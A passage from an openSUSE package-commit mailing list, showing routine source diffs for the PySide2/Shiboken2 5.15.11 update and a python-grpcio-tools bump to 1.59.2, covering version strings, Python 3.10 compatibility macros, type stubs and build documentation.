allow-thread="yes"/> <modify-function signature="warning(QWidget*,const QString&,const QString&,QFlags<QMessageBox::StandardButton>,QMessageBox::StandardButton)" allow-thread="yes"/> + <modify-function signature="warning(QWidget*,const QString&,const QString&,QMessageBox::StandardButton,QMessageBox::StandardButton)" + allow-thread="yes"/> <modify-function signature="QMessageBox(const QString&,const QString&,QMessageBox::Icon,int,int,int,QWidget*,QFlags<Qt::WindowType>)" remove="all"/> <modify-function signature="critical(QWidget*,const QString&,const QString&,int,int,int)" remove="all"/> <modify-function signature="critical(QWidget*,const QString&,const QString&,const QString&,const QString&,const QString&,int,int)" remove="all"/> diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/pyside2/PySide2/support/generate_pyi.py new/pyside-setup-opensource-src-5.15.11/sources/pyside2/PySide2/support/generate_pyi.py --- old/pyside-setup-opensource-src-5.15.10/sources/pyside2/PySide2/support/generate_pyi.py 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/pyside2/PySide2/support/generate_pyi.py 2023-10-05 06:29:38.000000000 +0200 @@ -147,10 +147,7 @@ self.print("from PySide2.support.signature.mapping import (") self.print(" Virtual, Missing, Invalid, Default, Instance)") self.print() - self.print("class Object(object): pass") - self.print() - self.print("import shiboken2 as Shiboken") - self.print("Shiboken.Object = Object") + self.print("from shiboken2 import Shiboken") self.print() # This line will be replaced by the missing imports postprocess. self.print("IMPORTS") @@ -222,7 +219,6 @@ outfile = io.StringIO() fmt = Formatter(outfile) fmt.print(LICENSE_TEXT.strip()) - need_imports = not USE_PEP563 if USE_PEP563: fmt.print("from __future__ import annotations") fmt.print() @@ -246,11 +242,10 @@ line = line.rstrip() # we remove the IMPORTS marker and insert imports if needed if line == "IMPORTS": - if need_imports: - for mod_name in find_imports(outfile.getvalue()): - imp = "PySide2." + mod_name - if imp != import_name: - wr.print("import " + imp) + for mod_name in find_imports(outfile.getvalue()): + imp = "PySide2." + mod_name + if imp != import_name: + wr.print("import " + imp) wr.print("import " + import_name) wr.print() wr.print() diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/pyside2/doc/gettingstarted-linux.rst new/pyside-setup-opensource-src-5.15.11/sources/pyside2/doc/gettingstarted-linux.rst --- old/pyside-setup-opensource-src-5.15.10/sources/pyside2/doc/gettingstarted-linux.rst 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/pyside2/doc/gettingstarted-linux.rst 2023-10-05 06:29:38.000000000 +0200 @@ -49,11 +49,11 @@ wget https://download.qt.io/development_releases/prebuilt/libclang/libclang-rele… -Extract the files, and leave it on any desired path, and then set these two required -environment variables:: +Extract the files, and leave it on any desired path, and set the environment +variable required:: 7z x libclang-release_100-based-linux-Rhel7.6-gcc5.3-x86_64.7z - export CLANG_INSTALL_DIR=$PWD/libclang + export LLVM_INSTALL_DIR=$PWD/libclang Getting PySide2 ~~~~~~~~~~~~~~~ diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/pyside2/doc/gettingstarted-macOS.rst new/pyside-setup-opensource-src-5.15.11/sources/pyside2/doc/gettingstarted-macOS.rst --- old/pyside-setup-opensource-src-5.15.10/sources/pyside2/doc/gettingstarted-macOS.rst 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/pyside2/doc/gettingstarted-macOS.rst 2023-10-05 06:29:38.000000000 +0200 @@ -50,11 +50,11 @@ wget http://download.qt.io/development_releases/prebuilt/libclang/libclang-relea… -Extract the files, and leave it on any desired path, and then set these two required -environment variables:: +Extract the files, and leave it on any desired path, and set the environment +variable required:: 7z x libclang-release_100-based-mac.7z - export CLANG_INSTALL_DIR=$PWD/libclang + export LLVM_INSTALL_DIR=$PWD/libclang Getting PySide2 ~~~~~~~~~~~~~~~ diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/pyside2/doc/gettingstarted-windows.rst new/pyside-setup-opensource-src-5.15.11/sources/pyside2/doc/gettingstarted-windows.rst --- old/pyside-setup-opensource-src-5.15.10/sources/pyside2/doc/gettingstarted-windows.rst 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/pyside2/doc/gettingstarted-windows.rst 2023-10-05 06:29:38.000000000 +0200 @@ -59,8 +59,8 @@ If you don't have libclang already in your system, you can download from the Qt servers, e.g. ``libclang-release_100-based-windows-vs2019_64.7z``. -Extract the files, and leave it on any desired path, e.g ``c:\``, and then set these two required -environment variables:: +Extract the files, and leave it on any desired path, for example, ``c:``, +and set the environment variable required:: set LLVM_INSTALL_DIR=c:\libclang set PATH=C:\libclang\bin;%PATH% diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/pyside2/libpyside/pysideproperty.cpp new/pyside-setup-opensource-src-5.15.11/sources/pyside2/libpyside/pysideproperty.cpp --- old/pyside-setup-opensource-src-5.15.10/sources/pyside2/libpyside/pysideproperty.cpp 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/pyside2/libpyside/pysideproperty.cpp 2023-10-05 06:29:38.000000000 +0200 @@ -104,6 +104,7 @@ {Py_tp_init, (void *)qpropertyTpInit}, {Py_tp_new, (void *)qpropertyTpNew}, {Py_tp_getset, PySidePropertyType_getset}, + {Py_tp_del, reinterpret_cast<void *>(PyObject_GC_Del)}, {0, 0} }; // Dotted modulename is crucial for SbkType_FromSpec to work. Is this name right? @@ -249,6 +250,7 @@ // This was not needed before Python 3.8 (Python issue 35810) Py_DECREF(Py_TYPE(self)); } + PyObject_GC_UnTrack(self); Py_TYPE(self)->tp_free(self); } diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/pyside2/libpyside/pysideqflags.cpp new/pyside-setup-opensource-src-5.15.11/sources/pyside2/libpyside/pysideqflags.cpp --- old/pyside-setup-opensource-src-5.15.10/sources/pyside2/libpyside/pysideqflags.cpp 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/pyside2/libpyside/pysideqflags.cpp 2023-10-05 06:29:38.000000000 +0200 @@ -191,8 +191,9 @@ SbkNewQFlagsType_slots[idx].pfunc = numberMethods[idx].pfunc; } newspec.slots = SbkNewQFlagsType_spec.slots; - PyTypeObject *type = (PyTypeObject *)SbkType_FromSpec(&newspec); - Py_TYPE(type) = &PyType_Type; + auto *obj = SbkType_FromSpec(&newspec); + auto *type = reinterpret_cast<PyTypeObject *>(obj); + obj->ob_type = &PyType_Type; PySideQFlagsType *flagsType = reinterpret_cast<PySideQFlagsType *>(type); PepType_PFTP(flagsType)->converterPtr = &PepType_PFTP(flagsType)->converter; diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/pyside2/libpyside/pysidesignal.cpp new/pyside-setup-opensource-src-5.15.11/sources/pyside2/libpyside/pysidesignal.cpp --- old/pyside-setup-opensource-src-5.15.10/sources/pyside2/libpyside/pysidesignal.cpp 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/pyside2/libpyside/pysidesignal.cpp 2023-10-05 06:29:38.000000000 +0200 @@ -160,9 +160,10 @@ { static PyTypeObject *type = nullptr; if (!type) { - type = reinterpret_cast<PyTypeObject *>(SbkType_FromSpec(&PySideSignalType_spec)); + auto *obj = SbkType_FromSpec(&PySideSignalType_spec); + type = reinterpret_cast<PyTypeObject *>(obj); PyTypeObject *hold = Py_TYPE(type); - Py_TYPE(type) = PySideMetaSignalTypeF(); + obj->ob_type = PySideMetaSignalTypeF(); Py_INCREF(Py_TYPE(type)); Py_DECREF(hold); } diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/pyside2/libpyside/pysideweakref.cpp new/pyside-setup-opensource-src-5.15.11/sources/pyside2/libpyside/pysideweakref.cpp --- old/pyside-setup-opensource-src-5.15.10/sources/pyside2/libpyside/pysideweakref.cpp 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/pyside2/libpyside/pysideweakref.cpp 2023-10-05 06:29:38.000000000 +0200 @@ -88,10 +88,11 @@ if (obj == Py_None) return 0; - if (Py_TYPE(PySideCallableObjectTypeF()) == 0) - { - Py_TYPE(PySideCallableObjectTypeF()) = &PyType_Type; - PyType_Ready(PySideCallableObjectTypeF()); + auto *callableObject_Type = PySideCallableObjectTypeF(); + auto *callableObject_PyObject = reinterpret_cast<PyObject *>(callableObject_Type); + if (callableObject_PyObject->ob_type == nullptr) { + callableObject_PyObject->ob_type = &PyType_Type; + PyType_Ready(callableObject_Type); } PyTypeObject *type = PySideCallableObjectTypeF(); diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/pyside2/pyside_version.py new/pyside-setup-opensource-src-5.15.11/sources/pyside2/pyside_version.py --- old/pyside-setup-opensource-src-5.15.10/sources/pyside2/pyside_version.py 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/pyside2/pyside_version.py 2023-10-05 06:29:38.000000000 +0200 @@ -39,7 +39,7 @@ major_version = "5" minor_version = "15" -patch_version = "10" +patch_version = "11" # For example: "a", "b", "rc" # (which means "alpha", "beta", "release candidate"). diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/ApiExtractor/clangparser/clangbuilder.cpp new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/ApiExtractor/clangparser/clangbuilder.cpp --- old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/ApiExtractor/clangparser/clangbuilder.cpp 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/ApiExtractor/clangparser/clangbuilder.cpp 2023-10-05 06:29:38.000000000 +0200 @@ -784,18 +784,22 @@ return std::strncmp(prefix.constData(), str, int(prefix.size())) == 0; } +#ifdef Q_OS_UNIX +static bool cStringContains(const char *str, const char *prefix) +{ + return std::strstr(str, prefix) != nullptr; +} +#endif + bool BuilderPrivate::visitHeader(const char *cFileName) const { // Resolve OpenGL typedefs although the header is considered a system header. const char *baseName = cBaseName(cFileName); if (cCompareFileName(baseName, "gl.h")) return true; -#if defined(Q_OS_LINUX) || defined(Q_OS_MACOS) - if (cStringStartsWith(cFileName, "/usr/include/stdint.h")) - return true; -#endif #ifdef Q_OS_LINUX - if (cStringStartsWith(cFileName, "/usr/include/stdlib.h") + if (cStringStartsWith(cFileName, "/usr/include/stdint.h") + || cStringStartsWith(cFileName, "/usr/include/stdlib.h") || cStringStartsWith(cFileName, "/usr/include/sys/types.h")) { return true; } @@ -804,9 +808,9 @@ // Parse the following system headers to get the correct typdefs for types like // int32_t, which are used in the macOS implementation of OpenGL framework. if (cCompareFileName(baseName, "gltypes.h") - || cStringStartsWith(cFileName, "/usr/include/_types") - || cStringStartsWith(cFileName, "/usr/include/_types") - || cStringStartsWith(cFileName, "/usr/include/sys/_types")) { + || cStringContains(cFileName, "/usr/include/stdint.h") + || cStringContains(cFileName, "/usr/include/_types") + || cStringContains(cFileName, "/usr/include/sys/_types")) { return true; } #endif // Q_OS_MACOS diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/doc/typesystem_specifying_types.rst new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/doc/typesystem_specifying_types.rst --- old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/doc/typesystem_specifying_types.rst 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/doc/typesystem_specifying_types.rst 2023-10-05 06:29:38.000000000 +0200 @@ -81,14 +81,17 @@ <typesystem> <rejection class="..." function-name="..." + argument-type="..." field-name="..." /> </typesystem> - The **class** attribute is the C++ class name of the class to reject. Use the - *optional* **function-name** or **field-name** attributes to reject a particular - function or field. Note that the **field-name** and **function-name** cannot - be specified at the same time. To remove all occurrences of a given field or - function, set the class attribute to \*. + The **class** attribute is the C++ class name of the class to reject. Use + the *optional* **function-name**, **argument-type**, or **field-name** + attributes to reject a particular function, function with arguments of a + particular type, or a field. Note that the **field-name** and + **function-name**/**argument-type** cannot be specified at the same time. + To remove all occurrences of a given field or function, set the class + attribute to \*. .. _primitive-type: diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/libshiboken/basewrapper.cpp new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/libshiboken/basewrapper.cpp --- old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/libshiboken/basewrapper.cpp 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/libshiboken/basewrapper.cpp 2023-10-05 06:29:38.000000000 +0200 @@ -376,8 +376,9 @@ { static PyTypeObject *type = nullptr; if (!type) { - type = reinterpret_cast<PyTypeObject *>(SbkType_FromSpec(&SbkObject_Type_spec)); - Py_TYPE(type) = SbkObjectType_TypeF(); + auto *obj = SbkType_FromSpec(&SbkObject_Type_spec); + type = reinterpret_cast<PyTypeObject *>(obj); + obj->ob_type = SbkObjectType_TypeF(); Py_INCREF(Py_TYPE(type)); type->tp_weaklistoffset = offsetof(SbkObject, weakreflist); type->tp_dictoffset = offsetof(SbkObject, ob_dict); @@ -521,7 +522,11 @@ PyObject_GC_UnTrack(pyObj); #ifndef Py_LIMITED_API +# if PY_VERSION_HEX >= 0x030A0000 + Py_TRASHCAN_BEGIN(pyObj, 1); +# else Py_TRASHCAN_SAFE_BEGIN(pyObj); +# endif #endif if (sotp) { if (sotp->user_data && sotp->d_func) { @@ -536,7 +541,11 @@ sotp = nullptr; } #ifndef Py_LIMITED_API +# if PY_VERSION_HEX >= 0x030A0000 + Py_TRASHCAN_END; +# else Py_TRASHCAN_SAFE_END(pyObj); +# endif #endif if (PepRuntime_38_flag) { // PYSIDE-939: Handling references correctly. @@ -1161,7 +1170,7 @@ typeSpec->slots[0].pfunc = reinterpret_cast<void *>(baseType ? baseType : SbkObject_TypeF()); PyObject *heaptype = SbkType_FromSpecWithBases(typeSpec, baseTypes); - Py_TYPE(heaptype) = SbkObjectType_TypeF(); + heaptype->ob_type = SbkObjectType_TypeF(); Py_INCREF(Py_TYPE(heaptype)); auto *type = reinterpret_cast<SbkObjectType *>(heaptype); #if PY_VERSION_HEX < 0x03000000 @@ -1526,6 +1535,7 @@ bool isValid(PyObject *pyObj) { if (!pyObj || pyObj == Py_None + || PyType_Check(pyObj) != 0 || Py_TYPE(Py_TYPE(pyObj)) != SbkObjectType_TypeF()) { return true; } diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/libshiboken/sbkenum.cpp new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/libshiboken/sbkenum.cpp --- old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/libshiboken/sbkenum.cpp 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/libshiboken/sbkenum.cpp 2023-10-05 06:29:38.000000000 +0200 @@ -330,13 +330,21 @@ PyObject_GC_UnTrack(pyObj); #ifndef Py_LIMITED_API +# if PY_VERSION_HEX >= 0x030A0000 + Py_TRASHCAN_BEGIN(pyObj, 1); +# else Py_TRASHCAN_SAFE_BEGIN(pyObj); +# endif #endif if (PepType_SETP(sbkType)->converter) { Shiboken::Conversions::deleteConverter(PepType_SETP(sbkType)->converter); } #ifndef Py_LIMITED_API +# if PY_VERSION_HEX >= 0x030A0000 + Py_TRASHCAN_END; +# else Py_TRASHCAN_SAFE_END(pyObj); +# endif #endif if (PepRuntime_38_flag) { // PYSIDE-939: Handling references correctly. @@ -752,9 +760,10 @@ static auto basetype = SbkEnum_TypeF(); Py_INCREF(basetype); PyTuple_SetItem(bases, 0, reinterpret_cast<PyObject *>(basetype)); - auto *type = reinterpret_cast<PyTypeObject *>(SbkType_FromSpecWithBases(&newspec, bases)); + auto *obj = SbkType_FromSpecWithBases(&newspec, bases); + auto *type = reinterpret_cast<PyTypeObject *>(obj); PyErr_Print(); - Py_TYPE(type) = SbkEnumType_TypeF(); + obj->ob_type = SbkEnumType_TypeF(); auto *enumType = reinterpret_cast<SbkEnumType *>(type); PepType_SETP(enumType)->cppName = cppName; diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/libshiboken/sbknumpyarrayconverter.cpp new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/libshiboken/sbknumpyarrayconverter.cpp --- old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/libshiboken/sbknumpyarrayconverter.cpp 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/libshiboken/sbknumpyarrayconverter.cpp 2023-10-05 06:29:38.000000000 +0200 @@ -116,8 +116,13 @@ str << " NPY_ARRAY_NOTSWAPPED"; if ((flags & NPY_ARRAY_WRITEABLE) != 0) str << " NPY_ARRAY_WRITEABLE"; +#if NPY_VERSION >= 0x00000010 // NPY_1_23_API_VERSION + if ((flags & NPY_ARRAY_WRITEBACKIFCOPY) != 0) + str << " NPY_ARRAY_WRITEBACKIFCOPY"; +#else if ((flags & NPY_ARRAY_UPDATEIFCOPY) != 0) str << " NPY_ARRAY_UPDATEIFCOPY"; +#endif } else { str << '0'; } diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/libshiboken/sbkstring.cpp new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/libshiboken/sbkstring.cpp --- old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/libshiboken/sbkstring.cpp 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/libshiboken/sbkstring.cpp 2023-10-05 06:29:38.000000000 +0200 @@ -41,8 +41,14 @@ #include "sbkstaticstrings_p.h" #include "autodecref.h" -#include <vector> -#include <unordered_set> +#if PY_VERSION_HEX >= 0x03000000 +# define USE_INTERN_STRINGS +#endif + +#ifndef USE_INTERN_STRINGS +# include <vector> +# include <unordered_set> +#endif namespace Shiboken { @@ -233,6 +239,13 @@ // PyObject *attr = PyObject_GetAttr(obj, name()); // +#ifdef USE_INTERN_STRINGS +PyObject *createStaticString(const char *str) +{ + return PyUnicode_InternFromString(str); +} +#else + using StaticStrings = std::unordered_set<PyObject *>; static void finalizeStaticStrings(); // forward @@ -283,6 +296,8 @@ return result; } +#endif // !USE_INTERN_STRINGS + /////////////////////////////////////////////////////////////////////// // // PYSIDE-1019: Helper function for snake_case vs. camelCase names diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/shiboken_version.py new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/shiboken_version.py --- old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/shiboken_version.py 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/shiboken_version.py 2023-10-05 06:29:38.000000000 +0200 @@ -39,7 +39,7 @@ major_version = "5" minor_version = "15" -patch_version = "10" +patch_version = "11" # For example: "a", "b", "rc" # (which means "alpha", "beta", "release candidate"). diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/shibokenmodule/CMakeLists.txt new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/shibokenmodule/CMakeLists.txt --- old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/shibokenmodule/CMakeLists.txt 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/shibokenmodule/CMakeLists.txt 2023-10-05 06:29:38.000000000 +0200 @@ -41,6 +41,14 @@ configure_file("${CMAKE_CURRENT_SOURCE_DIR}/__init__.py.in" "${CMAKE_CURRENT_BINARY_DIR}/__init__.py" @ONLY) +configure_file("${CMAKE_CURRENT_SOURCE_DIR}/Shiboken.pyi" + "${CMAKE_CURRENT_BINARY_DIR}/Shiboken.pyi" @ONLY) +# typing support for mypy +configure_file("${CMAKE_CURRENT_SOURCE_DIR}/py.typed.in" + "${CMAKE_CURRENT_BINARY_DIR}/py.typed" @ONLY) +install(FILES "${CMAKE_CURRENT_BINARY_DIR}/Shiboken.pyi" + "${CMAKE_CURRENT_BINARY_DIR}/py.typed" + DESTINATION "${PYTHON_SITE_PACKAGES}/shiboken2") # Variable from enclosing scope. foreach(item IN LISTS shiboken_python_files) diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/shibokenmodule/Shiboken.pyi new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/shibokenmodule/Shiboken.pyi --- old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/shibokenmodule/Shiboken.pyi 1970-01-01 01:00:00.000000000 +0100 +++ new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/shibokenmodule/Shiboken.pyi 2023-10-05 06:29:38.000000000 +0200 @@ -0,0 +1,54 @@ +############################################################################# +## +## Copyright (C) 2022 The Qt Company Ltd. +## Contact: https://www.qt.io/licensing/ +## +## This file is part of Qt for Python. +## +## $QT_BEGIN_LICENSE:COMM$ +## +## Commercial License Usage +## Licensees holding valid commercial Qt licenses may use this file in +## accordance with the commercial license agreement provided with the +## Software or, alternatively, in accordance with the terms contained in +## a written agreement between you and The Qt Company. For licensing terms +## and conditions see https://www.qt.io/terms-conditions. For further +## information use the contact form at https://www.qt.io/contact-us. +## +## $QT_END_LICENSE$ +## +############################################################################# + +from __future__ import annotations + +""" +This file contains the exact signatures for all functions in module +Shiboken, except for defaults which are replaced by "...". +""" + +# Module `Shiboken` + +from shiboken2 import Shiboken + + +class Object(object): + + def __init__(self) -> None: ... + + +class VoidPtr(object): ... + + +def _unpickle_enum(arg__1: object, arg__2: object) -> object: ... +def createdByPython(arg__1: Shiboken.Object) -> bool: ... +def delete(arg__1: Shiboken.Object) -> None: ... +def dump(arg__1: object) -> str: ... +def getAllValidWrappers() -> Shiboken.Object: ... +def getCppPointer(arg__1: Shiboken.Object) -> Shiboken.Object: ... +def invalidate(arg__1: Shiboken.Object) -> None: ... +def isValid(arg__1: object) -> bool: ... +def ownedByPython(arg__1: Shiboken.Object) -> bool: ... +def wrapInstance(arg__1: int, arg__2: type) -> Shiboken.Object: ... + + +# eof diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/shibokenmodule/py.typed.in new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/shibokenmodule/py.typed.in --- old/pyside-setup-opensource-src-5.15.10/sources/shiboken2/shibokenmodule/py.typed.in 1970-01-01 01:00:00.000000000 +0100 +++ new/pyside-setup-opensource-src-5.15.11/sources/shiboken2/shibokenmodule/py.typed.in 2023-10-05 06:29:38.000000000 +0200 @@ -0,0 +1 @@ +# this is a marker file for mypy

1 0

commit python-grpcio-tools for openSUSE:Factory
by Source-Sync 31 Oct '23

31 Oct '23

Script 'mail_helper' called by obssrc Hello community, here is the log from the commit of package python-grpcio-tools for openSUSE:Factory checked in at 2023-10-31 20:26:16 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/python-grpcio-tools (Old) and /work/SRC/openSUSE:Factory/.python-grpcio-tools.new.17445 (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "python-grpcio-tools" Tue Oct 31 20:26:16 2023 rev:29 rq:1121418 version:1.59.2 Changes: -------- --- /work/SRC/openSUSE:Factory/python-grpcio-tools/python-grpcio-tools.changes 2023-10-05 20:05:17.603352282 +0200 +++ /work/SRC/openSUSE:Factory/.python-grpcio-tools.new.17445/python-grpcio-tools.changes 2023-10-31 20:26:36.355937071 +0100 @@ -1,0 +2,6 @@ +Tue Oct 31 08:58:12 UTC 2023 - Atri Bhattacharya <badshah400(a)gmail.com> + +- Update to version 1.59.2: + * No python specific changes. + +------------------------------------------------------------------- Old: ---- grpcio-tools-1.59.0.tar.gz New: ---- grpcio-tools-1.59.2.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ python-grpcio-tools.spec ++++++ --- /var/tmp/diff_new_pack.cvEjwd/_old 2023-10-31 20:26:37.027961754 +0100 +++ /var/tmp/diff_new_pack.cvEjwd/_new 2023-10-31 20:26:37.027961754 +0100 @@ -20,7 +20,7 @@ %define skip_python2 1 %{?sle15_python_module_pythons} Name: python-grpcio-tools -Version: 1.59.0 +Version: 1.59.2 Release: 0 Summary: Protobuf code generator for gRPC License: Apache-2.0 ++++++ grpcio-tools-1.59.0.tar.gz -> grpcio-tools-1.59.2.tar.gz ++++++ diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/grpcio-tools-1.59.0/PKG-INFO new/grpcio-tools-1.59.2/PKG-INFO --- old/grpcio-tools-1.59.0/PKG-INFO 2023-09-29 01:35:26.565019800 +0200 +++ new/grpcio-tools-1.59.2/PKG-INFO 2023-10-30 19:07:41.581064000 +0100 @@ -1,6 +1,6 @@ Metadata-Version: 2.1 Name: grpcio-tools -Version: 1.59.0 +Version: 1.59.2 Summary: Protobuf code generator for gRPC Home-page: https://grpc.io Author: The gRPC Authors @@ -15,7 +15,7 @@ Requires-Python: >=3.7 Description-Content-Type: text/x-rst Requires-Dist: protobuf<5.0dev,>=4.21.6 -Requires-Dist: grpcio>=1.59.0 +Requires-Dist: grpcio>=1.59.2 Requires-Dist: setuptools gRPC Python Tools diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/grpcio-tools-1.59.0/grpc_root/include/grpcpp/support/proto_buffer_reader.h new/grpcio-tools-1.59.2/grpc_root/include/grpcpp/support/proto_buffer_reader.h --- old/grpcio-tools-1.59.0/grpc_root/include/grpcpp/support/proto_buffer_reader.h 2023-09-29 01:35:02.000000000 +0200 +++ new/grpcio-tools-1.59.2/grpc_root/include/grpcpp/support/proto_buffer_reader.h 2023-10-30 19:07:17.000000000 +0100 @@ -189,10 +189,17 @@ // This function takes ownership of slice and return a newly created Cord off // of it. static absl::Cord MakeCordFromSlice(grpc_slice slice) { + // slice_for_cord is created to keep inlined data of the given slice + grpc_slice* slice_for_cord = new grpc_slice; + *slice_for_cord = slice; return absl::MakeCordFromExternal( - absl::string_view(reinterpret_cast<char*>(GRPC_SLICE_START_PTR(slice)), - GRPC_SLICE_LENGTH(slice)), - [slice](absl::string_view /* view */) { grpc_slice_unref(slice); }); + absl::string_view( + reinterpret_cast<char*>(GRPC_SLICE_START_PTR(*slice_for_cord)), + GRPC_SLICE_LENGTH(*slice_for_cord)), + [slice_for_cord](absl::string_view /* view */) { + grpc_slice_unref(*slice_for_cord); + delete slice_for_cord; + }); } #endif // GRPC_PROTOBUF_CORD_SUPPORT_ENABLED diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/grpcio-tools-1.59.0/grpc_root/include/grpcpp/version_info.h new/grpcio-tools-1.59.2/grpc_root/include/grpcpp/version_info.h --- old/grpcio-tools-1.59.0/grpc_root/include/grpcpp/version_info.h 2023-09-29 01:35:02.000000000 +0200 +++ new/grpcio-tools-1.59.2/grpc_root/include/grpcpp/version_info.h 2023-10-30 19:07:17.000000000 +0100 @@ -20,8 +20,8 @@ #define GRPC_CPP_VERSION_MAJOR 1 #define GRPC_CPP_VERSION_MINOR 59 -#define GRPC_CPP_VERSION_PATCH 0 +#define GRPC_CPP_VERSION_PATCH 2 #define GRPC_CPP_VERSION_TAG "" -#define GRPC_CPP_VERSION_STRING "1.59.0" +#define GRPC_CPP_VERSION_STRING "1.59.2" #endif // GRPCPP_VERSION_INFO_H diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/grpcio-tools-1.59.0/grpc_version.py new/grpcio-tools-1.59.2/grpc_version.py --- old/grpcio-tools-1.59.0/grpc_version.py 2023-09-29 01:27:02.000000000 +0200 +++ new/grpcio-tools-1.59.2/grpc_version.py 2023-10-30 19:02:42.000000000 +0100 @@ -14,5 +14,5 @@ # AUTO-GENERATED FROM `$REPO_ROOT/templates/tools/distrib/python/grpcio_tools/grpc_version.py.template`!!! -VERSION = '1.59.0' +VERSION = '1.59.2' PROTOBUF_VERSION = '3.24.3' diff -urN 